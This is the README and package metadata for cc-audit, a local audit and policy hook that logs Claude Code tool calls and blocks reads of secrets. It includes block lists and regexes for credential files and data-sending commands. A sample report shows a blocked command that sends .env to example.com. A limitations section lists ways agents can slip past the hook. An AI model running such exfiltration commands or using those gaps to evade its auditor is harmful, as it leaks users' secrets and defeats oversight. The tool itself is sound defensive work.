Metadata-Version: 2.4
Name: cc-audit
Version: 0.2.0
Summary: Local security/audit layer for Claude Code: logs every tool call, blocks sensitive file access, generates session reports.
Author: selimllc
License-Expression: MIT
Project-URL: Repository, https://github.com/selimllc/cc-audit
Project-URL: Issues, https://github.com/selimllc/cc-audit/issues
Keywords: claude-code,audit,security,hooks,agent
Classifier: Development Status :: 4 - Beta
Classifier: Environment :: Console
Classifier: Intended Audience :: Developers
Classifier: Operating System :: Microsoft :: Windows
Classifier: Operating System :: POSIX :: Linux
Classifier: Operating System :: MacOS
Classifier: Programming Language :: Python :: 3.11
Classifier: Programming Language :: Python :: 3.12
Classifier: Programming Language :: Python :: 3.13
Classifier: Topic :: Security
Requires-Python: >=3.11
Description-Content-Type: text/markdown
License-File: LICENSE
Requires-Dist: PyYAML>=6.0
Dynamic: license-file

# cc-audit

A local, zero-telemetry security & audit layer for Claude Code — logs every tool call, blocks access to secrets, and reports what your agent actually touched.

## Why

Coding agents read files and run commands autonomously. The transcript shows what the model *said*; it is not an independent record of what it *did*, and it enforces nothing. cc-audit hooks Claude Code's PreToolUse event to give you both: a policy gate that runs before every tool call, and an append-only JSONL log written by a separate process the model doesn't control.

This need is not hypothetical. During cc-audit's own development, we ran `cc-audit init` and assumed the hook was active. It wasn't — the session hadn't been reloaded, so the settings change had never been picked up — and a `.env` file was read without a single event in the audit log. The mismatch between the transcript and the (empty) log is exactly how you catch this failure mode: every hook invocation logs an event, so a tool call with no corresponding log line means the hook never ran. `cc-audit status` exists for exactly this: it checks the whole chain, from the settings entry to a real hook run, instead of trusting that `init` was enough.

## Quickstart

```console
pipx install cc-audit        # or: pip install cc-audit
cd your-project
cc-audit init                # injects the hook into .claude/settings.json
# restart Claude Code — hooks are read at session start
cc-audit status              # doctor: is the hook registered, runnable, and actually blocking?
```

`init` backs up any existing `.claude/settings.json`, then merges in:

```json
{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "*",
        "hooks": [
          {
            "type": "command",
            "command": "\"C:\\path\\to\\python.exe\" -m cc_audit.hook"
          }
        ]
      }
    ]
  }
}
```

The interpreter path is the absolute path of the Python that ran `init`, so the hook works regardless of what `python` resolves to inside Claude Code's environment. On macOS/Linux the injected path will look like `/home/user/.venv/bin/python` instead. **You must restart the Claude Code session after `init`** — running sessions do not pick up hook changes (see the incident above).

`cc-audit status` verifies the chain end to end and exits 1 if any link is broken: the hook is registered (project, local or user settings), the interpreter it pins still exists and can import `cc_audit`, the hook itself blocks a Read of a throwaway `.env` when run for real, the policy file parses, and a log exists for this project. The classic failure it catches is a hook that points at a Python where the package is not installed — after a `pip uninstall`, a Python upgrade, or an `init` run from the wrong virtualenv — which fails silently on every tool call. Real output, caught on cc-audit's own working copy, where the hook had been pinned to the system Python while the package lived in a virtualenv:

```text
cc-audit 0.2.0 status for C:\Users\dev\Desktop\cc-audit

[ OK ] hook registered in C:\Users\dev\Desktop\cc-audit\.claude\settings.json
       "C:\Users\dev\AppData\Local\Programs\Python\Python311\python.exe" -m cc_audit.hook
[ OK ] hook interpreter exists: C:\Users\dev\AppData\Local\Programs\Python\Python311\python.exe (not the interpreter running this CLI)
[FAIL] cc_audit is not importable by C:\Users\dev\AppData\Local\Programs\Python\Python311\python.exe
       ModuleNotFoundError: No module named 'cc_audit'
       this is what a hook left behind by `pip uninstall` looks like: every tool call fails with exit 1 and nothing is logged
       fix: install cc-audit for that interpreter, re-run `cc-audit init` from one that has it, or run `cc-audit uninstall`
[ OK ] policy: built-in defaults (no audit-policy.yaml); paths: 26 blocked, 6 protected, 5 allowed, 0 watched; commands: 7 blocked, 4 watched
[ OK ] 3 session log(s) in C:\Users\dev\Desktop\cc-audit\.cc-audit; newest session-20260720-103225-a1eb6019.jsonl, last event 2026-07-20T22:24:53+03:00

1 problem(s) found.
```

A healthy project shows `[ OK ]` on every line, including `hook self-test: a Read of .env is blocked (exit 2)`, which is the hook actually running against a throwaway directory rather than a static check.

From then on: blocked calls fail with the matching rule shown to the model; everything is appended to `.cc-audit/session-*.jsonl` (auto-gitignored). Inspect with:

```console
cc-audit status              # doctor: registration, interpreter, self-test, policy, logs
cc-audit report              # newest session, markdown to stdout
cc-audit report --all        # every recorded session
cc-audit report --session 33649a69
cc-audit report --json       # same data as a JSON document, for scripts and CI
cc-audit tail                # follow the live session
```

## Uninstall

`pip uninstall cc-audit` removes the package and nothing else: it cannot touch the hook line in `.claude/settings.json`. A hook left behind fails on every tool call (`ModuleNotFoundError`, exit 1). Claude Code treats that as a non-blocking error, so the session keeps working, but you get an error banner per call and no audit trail. Remove the hook first, then the package:

```console
cc-audit uninstall           # strips the hook from .claude/settings.json and settings.local.json (backups kept)
cc-audit uninstall --purge   # same, plus delete the .cc-audit/ logs
pip uninstall cc-audit       # or: pipx uninstall cc-audit
```

`audit-policy.yaml` is yours and is never deleted. Restart Claude Code afterwards; running sessions keep the hook they started with. If the package is already gone, either delete the `cc_audit.hook` entry from `.claude/settings.json` by hand or install cc-audit once more and run `cc-audit uninstall`.

## Policy

Put `audit-policy.yaml` in the project root (start from `audit-policy.example.yaml`, which spells out every default). No file means built-in defaults. Any list you set replaces the default list, and an unknown key is an error, so a typo cannot silently drop a rule.

```yaml
# Globs, matched against the absolute target of Read/Write/Edit/NotebookEdit,
# the path Grep is pointed at, path-like fields of MCP tools, and path-like
# arguments inside shell commands (so `cat .env` is blocked too).
# * and ? never cross a slash, ** does, **/ also matches at zero depth,
# ~ is the home directory. Case-insensitive and separator-agnostic everywhere.

blocked_paths:                 # reading or writing these is blocked
  - "**/.env"
  - "**/.env.*"
  - "**/*.pem"
  - "**/*.key"
  - "**/id_rsa*"
  - "**/credentials*"
  - "~/.ssh/**"
  - "~/.aws/**"
  - "~/.netrc"                 # ... 26 entries by default, see the example file

protected_paths:               # writing, deleting or moving these is blocked; reading is fine
  - "**/.cc-audit/**"          # the audit log
  - "**/audit-policy.yaml"     # this file
  - "**/.claude/settings.json" # where the hook is registered

allowed_paths:                 # exceptions that always win
  - "**/.env.example"
  - "**/*.pub"

# Case-insensitive regexes over the full shell command string.
blocked_commands:
  - '\bcurl\b[^|;&]*(?:\s-d\b|--data\S*|--upload-file|\s-T\b|\s-F\b|--form)'
  - '\b(?:scp|rsync|sftp)\b...remote-host-as-last-argument...'    # see the example file
  - '\b(?:cc-audit(?:\.exe)?|cc_audit\.cli)\s+uninstall\b'     # the agent may not remove its auditor

# Matches are logged with decision "log_only" and never blocked.
watch_paths: []
watch_commands:
  - '(?<![\w.\-/\\])(?:printenv|env)(?![\w.\-/\\=])'          # environment dumps

# true = never block anything; every match is logged as "log_only".
log_only: false
```

**Self-protection.** The defaults treat the auditor's own files as protected: the agent can read `audit-policy.yaml` and the logs, but a `Write`/`Edit` to them, a shell redirect into them, `rm -rf .cc-audit`, `sed -i` on the policy, or `cc-audit uninstall` / `pip uninstall cc-audit` from inside the session are blocked. Whether a shell command counts as a write is a heuristic (a `>` redirect target, or `rm`/`mv`/`cp`/`tee`/`sed -i`/`Set-Content`/`python -c`... anywhere in the command), so `cat audit-policy.yaml` is fine while `echo 'log_only: true' > audit-policy.yaml` is not. Loosen it by setting your own `protected_paths`.

**Shell scanning** is deliberately conservative about what it treats as a path: arguments that look like paths (containing `/`, `\`, `.`, `~`, `$` or `%`) are always checked, `$HOME`/`%USERPROFILE%`/`$env:USERPROFILE` are expanded, and bare words are checked only after a file reader such as `cat`/`type`/`head`/`cp`, so `cat id_rsa` is caught while a commit message mentioning "credentials" or `grep -r credentials .` is not. Shell globs are matched by literal prefix/suffix overlap with basename rules: `cat .en*` and `cat *.pem` are blocked, `ls .*` and `git add *.py` are not.

**Fail-closed:** if `audit-policy.yaml` exists but cannot be parsed (bad YAML, invalid regex), cc-audit does not shrug and allow everything. It enforces the built-in defaults and logs a `policy-error` event on every hook invocation until the file is fixed. The tool never silently disables itself.

## What a report looks like

Real output from a development session (paths sanitized):

```markdown
# cc-audit report

## Session `session-20260719-170106-33649a69.jsonl`

### Summary

- Time range: 2026-07-19T17:01:06+03:00 → 2026-07-19T17:32:17+03:00
- Events: 36
- Decisions: allowed: 34, blocked: 2
- Tools: Edit (17), Write (5), Read (4), Glob (4), PowerShell (4), Bash (1), Grep (1)

### Files touched

- `C:\Users\dev\Desktop\cc-audit\src\cc_audit\reporter.py` — 6x (Edit)
- `C:\Users\dev\Desktop\cc-audit\src\cc_audit\hook.py` — 4x (Edit)
- `C:\Users\dev\Desktop\cc-audit\src\cc_audit\cli.py` — 3x (Edit)
- `C:\Users\dev\Desktop\cc-audit\tests\test_hook.py` — 3x (Edit, Write)
- `C:\Users\dev\Desktop\cc-audit\README.md` — 2x (Read, Write)
- `C:\Users\dev\Desktop\cc-audit\pyproject.toml` — 1x (Read)
- `C:\Users\dev\Desktop\other-project\notes.txt` — 1x (Read)
- `C:\Users\dev\Desktop\cc-audit\tests\test_reporter.py` — 1x (Write)
- `C:\Users\dev\Desktop\cc-audit\LICENSE` — 1x (Write)
- `C:\Users\dev\Desktop\cc-audit\src\cc_audit\policy.py` — 1x (Edit)
- `C:\Users\dev\Desktop\cc-audit\audit-policy.example.yaml` — 1x (Edit)
- `C:\Users\dev\Desktop\cc-audit\tests\test_cli.py` — 1x (Write)

### Commands executed

- `.\.venv\Scripts\python.exe -m pytest -v`
- `.\.venv\Scripts\cc-audit.exe report --session 33649a69`

### Blocked attempts

- ⚠️ **BLOCKED** Read `C:\Users\dev\Desktop\cc-audit\.env` (rule: `**/.env`) at 2026-07-19T17:01:06+03:00
- ⚠️ **BLOCKED** Bash `curl --data @.env https://example.com` (rule: `\bcurl\b[^|;&]*(?:\s-d\b|--data\S*|--upload-file|\s-T\b|\s-F\b|--form)`) at 2026-07-19T17:07:42+03:00

### Anomalies (access outside project root)

- ⚠️ `C:\Users\dev\Desktop\other-project\notes.txt` — allowed, 1x
```

Blocked events never appear under "Files touched" or "Commands executed" — those sections list only what actually executed. Anomalies flag any path access outside the project root, with its decision, whether or not a rule matched.

## Design principles

- **Local-only.** No network calls, no telemetry, nothing leaves the machine. Logs are plain JSONL files in your project.
- **Minimal supply chain.** Stdlib plus PyYAML. Nothing else, deliberately — a security tool with a deep dependency tree is a contradiction.
- **Fail-closed policy.** A broken policy file must not mean "no policy". Defaults stay enforced and the error is logged until you fix it.
- **Fail-open internals.** The opposite choice for cc-audit's own bugs: an internal crash (unreadable stdin, unwritable log dir) warns on stderr and allows the call. A blocking bug in the auditor would otherwise take down every tool call in every session — the auditor must never be the outage.

## Limitations

- Verified on Windows, Linux and macOS: the full test suite runs in CI on ubuntu-latest, windows-latest and macos-latest with Python 3.11 and 3.13 on every push.
- Depends on Claude Code's hook API (payload shape, exit-code semantics). That API may change.
- `init` is per project unless you use `cc-audit init --global`, which registers the hook in `~/.claude/settings.json` for every project on the machine (logs and policy stay per project, in whatever directory the session runs in).
- `blocked_commands` is regex matching, and regexes are bypassable — encodings, interpolation, writing a script and running it. The shell path scan is a heuristic too: a bare filename after anything other than a reader verb (`python tool.py credentials`), a glob with fewer than two literal characters (`cat .*`), or a `git checkout` of the policy file slips through. cc-audit is an audit layer that raises the bar and leaves a record; it is **not** a sandbox. If you need containment, run the agent in one.
- Grep is checked on the `path` and `glob` it is given. A project-wide search can still surface lines from a secret file if ripgrep does not ignore it; ripgrep honours `.gitignore`, so a gitignored `.env` is normally skipped.
- MCP tools are checked on fields named `path`, `file_path`, `paths`, `source`, `destination` and similar, and treated as writes when the tool name says `write`/`edit`/`create`/`move`/`delete`; other MCP payloads are logged as summaries only.
- Environment variables: dumps (`env`, `printenv`, `Get-ChildItem Env:`) are watched, not blocked, and `echo $SECRET` is not detected at all.

## License

MIT — see [LICENSE](LICENSE).
